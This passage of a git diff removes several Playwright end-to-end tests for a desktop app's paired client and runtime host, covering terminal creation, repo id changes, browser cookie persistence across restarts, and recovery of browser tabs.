'./global-setup' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { createRestartSession } from './helpers/orca-restart' - -function seededRepoPathOrSkip(): string { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - return repoPath -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: test-only RPC result shape. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -function hostTerminalCount(page: Page, environmentId: string, worktreeId: string): Promise { - return callRuntime<{ tabs: { type: string }[] }>(page, environmentId, 'session.tabs.list', { - worktree: `id:${worktreeId}` - }).then((listed) => listed.tabs.filter((tab) => tab.type === 'terminal').length) -} - -test('a paired client gets a first terminal in a host worktree the host never opened', async (// oxlint-disable-next-line no-empty-pattern -- This test owns its host launch. -{}, testInfo) => { - test.setTimeout(240_000) - const repoPath = seededRepoPathOrSkip() - const session = createRestartSession(testInfo) - let host: ElectronApplication | null = null - let client: PairedElectronClient | null = null - try { - const launched = await session.launch() - host = launched.app - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(launched.page), - testInfo, - 'first-terminal-unopened-worktree' - ) - // Added through the host's runtime, so the host's own window never opens the worktree. - const added = await callRuntime<{ repo: { id: string } }>( - client.page, - client.environmentId, - 'repo.add', - { path: repoPath, kind: 'git' } - ) - // Why the repo id: worktree paths are normalized differently per platform. - const findWorktreeId = (): Promise => - client!.page.evaluate( - (repoId) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.repoId === repoId)?.id ?? null, - added.repo.id - ) - await expect - .poll(findWorktreeId, { - timeout: 60_000, - message: 'Paired client never saw the host worktree' - }) - .not.toBeNull() - const worktreeId = (await findWorktreeId()) ?? '' - // Precondition: the host is started but has published nothing for this worktree. - expect(await hostTerminalCount(client.page, client.environmentId, worktreeId)).toBe(0) - - await client.page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) - - await expect - .poll(() => hostTerminalCount(client!.page, client!.environmentId, worktreeId), { - timeout: 45_000, - message: 'Opening the worktree on the paired client never created its first terminal' - }) - .toBe(1) - await expect - .poll( - () => - client!.page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).length, - worktreeId - ), - { timeout: 30_000, message: 'The paired client never showed the first terminal tab' } - ) - .toBeGreaterThan(0) - } finally { - if (client) { - await client.dispose() - } - if (host) { - await session.close(host) - } - await session.dispose() - } -}) diff --git a/tests/e2e/paired-client-host-repo-id-change-rows.spec.ts b/tests/e2e/paired-client-host-repo-id-change-rows.spec.ts deleted file mode 100644 index a859fd1425b..00000000000 --- a/tests/e2e/paired-client-host-repo-id-change-rows.spec.ts +++ /dev/null @@ -1,60 +0,0 @@ -// STA-12076: profile switches relisted checkouts under new project IDs, leaving duplicate orphan rows on paired desktops. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' - -type ListedRow = { repoId: string; repoKnown: boolean } - -function readListedRows(page: Page, repoPath: string): Promise { - return page.evaluate((target) => { - const state = window.__store?.getState() - if (!state) { - return [] - } - const repoIds = new Set(state.repos.map((repo) => repo.id)) - return state - .allWorktrees() - .filter((worktree) => worktree.path === target) - .map((worktree) => ({ repoId: worktree.repoId, repoKnown: repoIds.has(worktree.repoId) })) - }, repoPath) -} - -test('a server that relists its checkout under a new project id shows the workspace once', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const host = await launchHeadlessPairedRuntimeHost() - try { - const projectKind = 'git' as const - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: projectKind - }) - const oldRepoId = added.result.repo.id - const desktop = await launchPairedElectronClient(host.offer, testInfo, 'repo id change') - try { - const page = desktop.page - await expect - .poll(() => readListedRows(page, testRepoPath), { timeout: 60_000 }) - .toEqual([{ repoId: oldRepoId, repoKnown: true }]) - - // The switched-to profile's catalog: the same checkout under a project id the desktop never saw. - await host.client.call('repo.rm', { repo: `id:${oldRepoId}` }) - const readded = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: projectKind - }) - const newRepoId = readded.result.repo.id - expect(newRepoId).not.toBe(oldRepoId) - - await expect - .poll(() => readListedRows(page, testRepoPath), { timeout: 60_000 }) - .toEqual([{ repoId: newRepoId, repoKnown: true }]) - } finally { - await desktop.dispose() - } - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts b/tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts deleted file mode 100644 index f016f6808cc..00000000000 --- a/tests/e2e/paired-client-hosted-browser-cookie-survival.spec.ts +++ /dev/null @@ -1,376 +0,0 @@ -import { createServer } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -const COOKIE_NAME = 'sta4150' -const COOKIE_VALUE = 'survivor' -const ROUTE_PARTITION_RE = /^persist:orca-browser-v1-[a-f0-9]{64}$/ - -type CookieFixture = { - close(): Promise - echoAfterUrl: string - echoBeforeUrl: string - loginUrl: string - observedCookieHeaders(): { cookie: string | null; path: string }[] - origin: string -} - -// Render the Cookie request header so survival proves the persistent jar reached the wire. -async function startCookieFixture(): Promise { - const observed: { cookie: string | null; path: string }[] = [] - const server = createServer((request, response) => { - const url = new URL(request.url ?? '/', 'http://127.0.0.1') - const cookie = request.headers.cookie ?? null - observed.push({ cookie, path: url.pathname }) - const isLogin = url.pathname === '/login' - const marker = isLogin ? 'login-marker' : `cookie:${cookie ?? 'none'}` - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8', - ...(isLogin - ? { - 'set-cookie': `${COOKIE_NAME}=${COOKIE_VALUE}; Max-Age=3600; Path=/; SameSite=Lax` - } - : {}) - }) - response.end( - `${marker}

${marker}

` - ) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const origin = `http://127.0.0.1:${(server.address() as AddressInfo).port}` - return { - close: () => - new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }), - echoAfterUrl: `${origin}/echo/after`, - echoBeforeUrl: `${origin}/echo/before`, - loginUrl: `${origin}/login`, - observedCookieHeaders: () => [...observed], - origin - } -} - -type MirroredBrowserPage = { - localPageId: string - placementKind: 'client' | 'server' | null - remotePageId: string -} - -async function findPairedWorktreeId(page: Page, repoPath: string): Promise { - return page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ) -} - -async function waitForPairedWorktreeId(page: Page, repoPath: string): Promise { - await expect - .poll(() => findPairedWorktreeId(page, repoPath), { - timeout: 120_000, - message: 'paired client never received the host worktree' - }) - .not.toBeNull() - const worktreeId = await findPairedWorktreeId(page, repoPath) - if (!worktreeId) { - throw new Error('Paired worktree disappeared after discovery') - } - return worktreeId -} - -async function selectPairedWorktreeGroup( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - await expect - .poll( - () => - page.evaluate( - ({ environmentId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(worktreeId, `runtime:${environmentId}`) - return state?.activeGroupIdByWorktree[worktreeId] ?? null - }, - { environmentId, worktreeId } - ), - { - timeout: 120_000, - message: 'paired client never activated a tab group for the worktree' - } - ) - .not.toBeNull() -} - -async function createProductBrowserPage(page: Page, url: string): Promise { - await page.evaluate(async (url) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Paired client has no active worktree') - } - const groupId = state.activeGroupIdByWorktree[state.activeWorktreeId] - if (!groupId) { - throw new Error('Paired client has no active tab group') - } - state.setBrowserDefaultUrl(url) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, url) -} - -async function findMirroredBrowserPage( - page: Page, - worktreeId: string, - url: string -): Promise { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(url)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - localPageId: browserPage.id, - placementKind: handle?.placement?.kind ?? null, - remotePageId: handle?.remotePageId ?? browserPage.id - } - } - } - return null - }, - { url, worktreeId } - ) -} - -async function openClientHostedFixturePage( - client: PairedElectronClient, - worktreeId: string, - url: string -): Promise { - await createProductBrowserPage(client.page, url) - await expect - .poll(() => findMirroredBrowserPage(client.page, worktreeId, url), { - timeout: 60_000, - message: `paired client never materialized ${url}` - }) - .not.toBeNull() - const mirrored = await findMirroredBrowserPage(client.page, worktreeId, url) - if (!mirrored) { - throw new Error(`Mirrored browser page disappeared for ${url}`) - } - expect(mirrored.placementKind, 'fixture page must be hosted on the viewing desktop').toBe( - 'client' - ) - await client.page.evaluate( - ({ browserPageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, browserPageId, { - surfacePane: true - }) - }, - { browserPageId: mirrored.localPageId, worktreeId } - ) - return mirrored -} - -async function readClientWebview( - page: Page, - url: string -): Promise<{ marker: string | null; partition: string | null } | null> { - return page.evaluate(async (prefix) => { - for (const candidate of document.querySelectorAll('webview')) { - const webview = candidate as Electron.WebviewTag - try { - if (!webview.getURL().startsWith(prefix)) { - continue - } - return { - marker: (await webview.executeJavaScript( - 'document.querySelector("#marker")?.textContent ?? null' - )) as string | null, - partition: webview.getAttribute('partition') - } - } catch { - // The guest may still be attaching. - } - } - return null - }, url) -} - -async function waitForRenderedClientWebview( - page: Page, - url: string, - message: string -): Promise<{ marker: string; partition: string }> { - await expect - .poll(async () => (await readClientWebview(page, url))?.marker ?? null, { - timeout: 120_000, - message - }) - .not.toBeNull() - const rendered = await readClientWebview(page, url) - if (!rendered?.marker || !rendered.partition) { - throw new Error(`Client-hosted guest for ${url} lost its marker or partition`) - } - return { marker: rendered.marker, partition: rendered.partition } -} - -/** Reads the fixture cookie out of a named client partition, or the default session when null. */ -async function readClientSessionCookie( - app: ElectronApplication, - partition: string | null, - url: string -): Promise { - return app.evaluate( - async ({ session }, { name, partition, url }) => { - const target = partition === null ? session.defaultSession : session.fromPartition(partition) - const cookies = await target.cookies.get({ name, url }) - return cookies[0]?.value ?? null - }, - { name: COOKIE_NAME, partition, url } - ) -} - -/** Re-reads the runtime's per-process id from the live connection, not the cached status. */ -async function refreshAuthorityRuntimeId(client: PairedElectronClient): Promise { - return client.page - .evaluate(async (environmentId) => { - await window.api.runtimeEnvironments.connect({ selector: environmentId }) - await window.__store?.getState().refreshRuntimeEnvironmentStatus(environmentId) - return ( - window.__store?.getState().runtimeStatusByEnvironmentId.get(environmentId)?.status - ?.runtimeId ?? null - ) - }, client.environmentId) - .catch(() => null) -} - -// Require a new runtimeId after restart: route partition identity must retain cookies across precisely that process-id change. -async function waitForRelaunchedRuntime( - client: PairedElectronClient, - previousRuntimeId: string -): Promise { - await expect - .poll(() => refreshAuthorityRuntimeId(client), { - timeout: 180_000, - message: 'paired client never reconnected to a relaunched runtime process' - }) - .toEqual(expect.not.stringMatching(`^${previousRuntimeId}$`)) - const runtimeId = await refreshAuthorityRuntimeId(client) - if (!runtimeId) { - throw new Error('Paired client lost the runtime id after reconnecting') - } - return runtimeId -} - -test('keeps client-hosted browser cookies across a paired runtime restart', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await startCookieFixture() - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient( - host.offer, - testInfo, - 'STA-4150 client-hosted cookie survival' - ) - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - - await openClientHostedFixturePage(client, worktreeId, fixture.loginUrl) - const login = await waitForRenderedClientWebview( - client.page, - fixture.loginUrl, - 'client-hosted guest never rendered the login fixture' - ) - expect(login.marker).toBe('login-marker') - expect(login.partition, 'client-hosted pages must use a derived route partition').toMatch( - ROUTE_PARTITION_RE - ) - - await openClientHostedFixturePage(client, worktreeId, fixture.echoBeforeUrl) - const echoBefore = await waitForRenderedClientWebview( - client.page, - fixture.echoBeforeUrl, - 'client-hosted guest never rendered the pre-restart echo fixture' - ) - expect(echoBefore.marker).toContain(`${COOKIE_NAME}=${COOKIE_VALUE}`) - expect(echoBefore.partition).toBe(login.partition) - - // Negative control: the jar belongs to the route partition, not to the client at large. - expect( - await readClientSessionCookie(client.app, login.partition, fixture.origin), - 'route partition must hold the fixture cookie' - ).toBe(COOKIE_VALUE) - expect( - await readClientSessionCookie(client.app, null, fixture.origin), - 'the client default session must never see a route-partition cookie' - ).toBeNull() - - const runtimeIdBeforeRestart = await refreshAuthorityRuntimeId(client) - expect(runtimeIdBeforeRestart, 'client must know the runtime it is paired with').not.toBeNull() - const hostPidBeforeRestart = host.app.process().pid - - await host.restartServeProcess() - expect(host.app.process().pid, 'the serve process must actually be replaced').not.toBe( - hostPidBeforeRestart - ) - await waitForRelaunchedRuntime(client, runtimeIdBeforeRestart!) - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }).catch(() => undefined) - const restartedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, restartedWorktreeId) - - await openClientHostedFixturePage(client, restartedWorktreeId, fixture.echoAfterUrl) - const echoAfter = await waitForRenderedClientWebview( - client.page, - fixture.echoAfterUrl, - 'client-hosted guest never rendered the post-restart echo fixture' - ) - expect( - echoAfter.partition, - 'a runtime restart must not mint a fresh client-hosted partition' - ).toBe(login.partition) - expect( - echoAfter.marker, - 'the post-restart request must still carry the cookie planted before the restart' - ).toContain(`${COOKIE_NAME}=${COOKIE_VALUE}`) - - const afterRequest = fixture - .observedCookieHeaders() - .findLast((entry) => entry.path === '/echo/after') - expect(afterRequest?.cookie, 'fixture server must have seen the surviving cookie').toContain( - `${COOKIE_NAME}=${COOKIE_VALUE}` - ) - const loginRequest = fixture.observedCookieHeaders().find((entry) => entry.path === '/login') - expect(loginRequest?.cookie ?? null, 'the first request must arrive without the cookie').toBe( - null - ) - } finally { - await client?.dispose() - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-double-restart.spec.ts b/tests/e2e/paired-client-hosted-browser-double-restart.spec.ts deleted file mode 100644 index a96088d42d6..00000000000 --- a/tests/e2e/paired-client-hosted-browser-double-restart.spec.ts +++ /dev/null @@ -1,165 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { readHostBrowserPageIds, readHostBrowserPageUrl } from './helpers/host-session-tabs' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - findMirroredBrowserPage, - focusClientBrowserRow, - navigateGuest, - openClientHostedFixturePage, - readClientBrowserRows, - selectPairedWorktreeGroup, - startClientHostedMarkerFixture, - waitForPairedWorktreeId, - waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' -import { - refreshAuthorityRuntimeId, - waitForRelaunchedRuntime -} from './helpers/client-hosted-runtime-relaunch' - -const CLIENT_NAME = 'STA-4150 client-hosted double restart' - -/** Longer than the runtime's 15s reconnect grace, so the runtime treats the host as gone for good. */ -const RECONNECT_GRACE_OVERSHOOT_MS = 20_000 - -// Restart both authorities, leaving neither runtime memory nor a client guest to reconstruct page ownership. -// Keep the client absent until the runtime recovers from disk, then require re-authenticated adoption. -test('keeps a client-hosted browser tab when the client and the runtime both restart', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(600_000) - const fixture = await startClientHostedMarkerFixture({ - created: 'double-restart-survivor', - moved: 'moved-on' - }) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - let abandonedProfile: string | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME) - const profileDir = client.userDataDir - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.markerUrl, remotePageId: opened.remotePageId }, - 'client-hosted guest never rendered the fixture' - ) - ).toBe('double-restart-survivor') - - // Presence precondition: without it every later check could pass on a page that was never held. - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the runtime must hold the client-hosted page before either restart' - ).toContain(opened.remotePageId) - - // Navigate away from create URL so restoring the initial URL cannot count as successful recovery. - await navigateGuest(client.page, fixture.markerUrl, fixture.movedUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.movedUrl, remotePageId: opened.remotePageId }, - 'the guest never rendered the page it navigated to' - ) - ).toBe('moved-on') - await expect - .poll(() => readHostBrowserPageUrl(host.client, testRepoPath, opened.remotePageId), { - timeout: 60_000, - message: 'the runtime never learned where the guest navigated' - }) - .toBe(fixture.movedUrl) - - const runtimeIdBeforeRestart = await refreshAuthorityRuntimeId(client) - expect(runtimeIdBeforeRestart, 'client must know the runtime it is paired with').not.toBeNull() - - // Quit without disposing: the profile has to outlive the app, as it does for a real Cmd+Q. - const quitting = client.app - client = null - abandonedProfile = profileDir - await closeElectronAppForE2E(quitting) - await new Promise((resolve) => setTimeout(resolve, RECONNECT_GRACE_OVERSHOOT_MS)) - - const hostPidBeforeRestart = host.app.process().pid - await host.restartServeProcess() - expect(host.app.process().pid, 'the serve process must actually be replaced').not.toBe( - hostPidBeforeRestart - ) - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }).catch(() => undefined) - - // With client absent and runtime memory gone, only persisted records can name this page. - await expect - .poll(() => readHostBrowserPageIds(host.client, testRepoPath), { - timeout: 60_000, - message: 'the relaunched runtime did not restore the client-hosted page from persistence' - }) - .toContain(opened.remotePageId) - expect( - await readHostBrowserPageUrl(host.client, testRepoPath, opened.remotePageId), - 'the restored record must remember where the guest was, not where it was created' - ).toBe(fixture.movedUrl) - - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME, { - reuseUserDataDir: profileDir - }) - abandonedProfile = null - await waitForRelaunchedRuntime(client, runtimeIdBeforeRestart!) - const relaunchedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, relaunchedWorktreeId) - - await expect - .poll( - async () => - (await findMirroredBrowserPage(client!.page, relaunchedWorktreeId, fixture.movedUrl)) - ?.placementKind ?? null, - { - timeout: 180_000, - message: 'the tab never became client-hosted again after both sides restarted' - } - ) - .toBe('client') - - // Count the whole origin so recovery cannot adopt the moved page and duplicate its create URL. - const survivorRows = (await readClientBrowserRows(client.page, relaunchedWorktreeId)).filter( - (row) => row.url.startsWith(fixture.origin) - ) - expect(survivorRows, 'the tab must survive both restarts exactly once').toHaveLength(1) - - const survivor = await findMirroredBrowserPage( - client.page, - relaunchedWorktreeId, - fixture.movedUrl - ) - expect(survivor?.remotePageId, 'recovery must keep the page identity it was created with').toBe( - opened.remotePageId - ) - - await focusClientBrowserRow(client.page, relaunchedWorktreeId, survivor!.localPageId) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.movedUrl, remotePageId: survivor!.remotePageId }, - 'the surviving tab never rendered a live guest again' - ), - 'the tab has to come back functional and where the user left it' - ).toBe('moved-on') - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - if (abandonedProfile) { - await cleanupE2EDaemons(abandonedProfile).catch(() => undefined) - } - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts b/tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts deleted file mode 100644 index 738e9850a45..00000000000 --- a/tests/e2e/paired-client-hosted-browser-ghost-close.spec.ts +++ /dev/null @@ -1,176 +0,0 @@ -import { readdirSync, existsSync } from 'node:fs' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { readHostBrowserPageIds } from './helpers/host-session-tabs' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - findMirroredBrowserPage, - openClientHostedFixturePage, - readClientBrowserRows, - selectPairedWorktreeGroup, - startClientHostedMarkerFixture, - waitForPairedWorktreeId, - waitForRenderedClientWebview -} from './helpers/client-hosted-browser-fixture' -import { - refreshAuthorityRuntimeId, - waitForRelaunchedRuntime -} from './helpers/client-hosted-runtime-relaunch' - -const CLIENT_NAME = 'STA-4150 client-hosted ghost close' - -/** Longer than the runtime's 15s reconnect grace, so the runtime treats the host as gone for good. */ -const RECONNECT_GRACE_OVERSHOOT_MS = 20_000 - -// Remove persisted host records to model older servers or unrecoverable page retirement, leaving a client-only row. -function forgetPersistedClientHostedPages(userDataDir: string): number { - const profilesDir = path.join(userDataDir, 'profiles') - return readdirSync(profilesDir, { withFileTypes: true }) - .filter( - (entry) => - entry.isDirectory() && existsSync(path.join(profilesDir, entry.name, 'profile-state.db')) - ) - .reduce( - (total, entry) => - total + - mutateStoppedProfileState( - userDataDir, - (raw) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const state = raw as { - workspaceSession?: { clientHostedBrowserPagesByWorktree?: Record } - workspaceSessionsByHostId?: Record< - string, - { clientHostedBrowserPagesByWorktree?: Record } - > - } - let forgotten = 0 - for (const session of [ - state.workspaceSession, - ...Object.values(state.workspaceSessionsByHostId ?? {}) - ]) { - const rows = session?.clientHostedBrowserPagesByWorktree - if (!rows) { - continue - } - forgotten += Object.values(rows).reduce((count, list) => count + list.length, 0) - delete session.clientHostedBrowserPagesByWorktree - } - return forgotten - }, - entry.name - ), - 0 - ) -} - -// Require the restored ghost row’s real X to dismiss it after session.tabs.close returns tab_not_found. -// This pins client fallback; server-side browser ghost retirement is independently covered by orca-runtime-browser-ghost-session-row-close.test.ts. -test('closes a restored client-hosted row whose runtime has no record of it', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(600_000) - const fixture = await startClientHostedMarkerFixture({ created: 'ghost', moved: 'moved-on' }) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - let client: PairedElectronClient | null = null - let abandonedProfile: string | null = null - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME) - const profileDir = client.userDataDir - const worktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, worktreeId) - - const opened = await openClientHostedFixturePage(client, worktreeId, fixture.markerUrl) - expect( - await waitForRenderedClientWebview( - client.page, - { urlPrefix: fixture.markerUrl, remotePageId: opened.remotePageId }, - 'client-hosted guest never rendered the fixture' - ) - ).toBe('ghost') - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the runtime must hold the page before it is made to forget it' - ).toContain(opened.remotePageId) - - const runtimeIdBeforeRestart = await refreshAuthorityRuntimeId(client) - expect(runtimeIdBeforeRestart, 'client must know the runtime it is paired with').not.toBeNull() - - const quitting = client.app - client = null - abandonedProfile = profileDir - await closeElectronAppForE2E(quitting) - await new Promise((resolve) => setTimeout(resolve, RECONNECT_GRACE_OVERSHOOT_MS)) - - // Edit between processes or serve’s quit-time flush overwrites the fixture change. - let forgotten = 0 - await host.restartServeProcess({ - betweenProcesses: () => { - forgotten = forgetPersistedClientHostedPages(host.userDataDir) - } - }) - // Require records before stripping them so an empty fixture cannot pass. - expect( - forgotten, - 'the runtime must have persisted the page before this test can take it away' - ).toBeGreaterThan(0) - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }).catch(() => undefined) - expect( - await readHostBrowserPageIds(host.client, testRepoPath), - 'the relaunched runtime must genuinely have no record of the page' - ).not.toContain(opened.remotePageId) - - client = await launchPairedElectronClient(host.offer, testInfo, CLIENT_NAME, { - reuseUserDataDir: profileDir - }) - abandonedProfile = null - await waitForRelaunchedRuntime(client, runtimeIdBeforeRestart!) - const relaunchedWorktreeId = await waitForPairedWorktreeId(client.page, testRepoPath) - await selectPairedWorktreeGroup(client.page, client.environmentId, relaunchedWorktreeId) - - // The ghost: the client restored the row from its own session, and nothing will ever answer it. - await expect - .poll(() => findMirroredBrowserPage(client!.page, relaunchedWorktreeId, fixture.origin), { - timeout: 120_000, - message: 'the relaunched client never restored the row its own session persisted' - }) - .not.toBeNull() - const ghost = await findMirroredBrowserPage(client.page, relaunchedWorktreeId, fixture.origin) - expect(ghost?.visibleTabId, 'the restored row must have a visible tab to close').not.toBeNull() - - // Click the row’s real X; a store close would bypass the broken user close policy. - const ghostTab = client.page.locator(`[data-tab-id="${ghost!.workspaceId}"]`) - await expect(ghostTab).toBeVisible({ timeout: 60_000 }) - await ghostTab.locator('> button').click() - - await expect - .poll( - async () => - (await readClientBrowserRows(client!.page, relaunchedWorktreeId)).filter((row) => - row.url.startsWith(fixture.origin) - ).length, - { - timeout: 120_000, - message: 'the X on a row no runtime answers for never removed it' - } - ) - .toBe(0) - } finally { - if (client) { - await cleanupE2EDaemons(client.userDataDir).catch(() => undefined) - await client.dispose() - } - if (abandonedProfile) { - await cleanupE2EDaemons(abandonedProfile).catch(() => undefined) - } - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-client-hosted-browser-host-strip.spec.ts b/tests/e2e/paired-client-hosted-browser-host-strip.spec.ts deleted file mode 100644 index a62ba721a2c..00000000000 --- a/tests/e2e/paired-client-hosted-browser-host-strip.spec.ts +++ /dev/null @@ -1,193 +0,0 @@ -// STA-4150: use two desktop apps to prove a client-rendered page adds a host tab-strip row and host close tears it down. -// Windowless serve has no host strip and cannot cover this seam. -import { createServer, type Server } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const PAGE_TITLE = 'host-strip-marker' - -async function startPageFixture(): Promise<{ close(): Promise; url: string }> { - const server = createServer((_request, response) => { - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - response.end( - `${PAGE_TITLE}

${PAGE_TITLE}

` - ) - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const { port } = server.address() as AddressInfo - return { - close: () => closeServer(server), - url: `http://127.0.0.1:${port}/hosted` - } -} - -async function closeServer(server: Server): Promise { - await new Promise((resolve, reject) => { - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }) -} - -async function findWorktreeIdByPath(page: Page, repoPath: string): Promise { - await expect - .poll( - () => - page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ), - { timeout: 60_000, message: `no worktree for ${repoPath}` } - ) - .not.toBeNull() - const worktreeId = await page.evaluate( - (path) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.path === path)?.id ?? null, - repoPath - ) - if (!worktreeId) { - throw new Error(`Worktree for ${repoPath} disappeared after discovery`) - } - return worktreeId -} - -async function createClientHostedPage(page: Page, url: string): Promise { - await page.evaluate(async (pageUrl) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Paired client has no active worktree') - } - const groupId = state.activeGroupIdByWorktree[state.activeWorktreeId] - if (!groupId) { - throw new Error('Paired client has no active tab group') - } - state.setBrowserDefaultUrl(pageUrl) - await state.openNewBrowserTabInActiveWorkspace(groupId) - }, url) -} - -async function findHostPageId( - page: Page, - worktreeId: string, - url: string -): Promise<{ hostPageId: string; placementKind: string | null } | null> { - return page.evaluate( - ({ pageUrl, worktree }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktree] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (!browserPage.url.startsWith(pageUrl)) { - continue - } - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - hostPageId: handle?.remotePageId ?? browserPage.id, - placementKind: handle?.placement?.kind 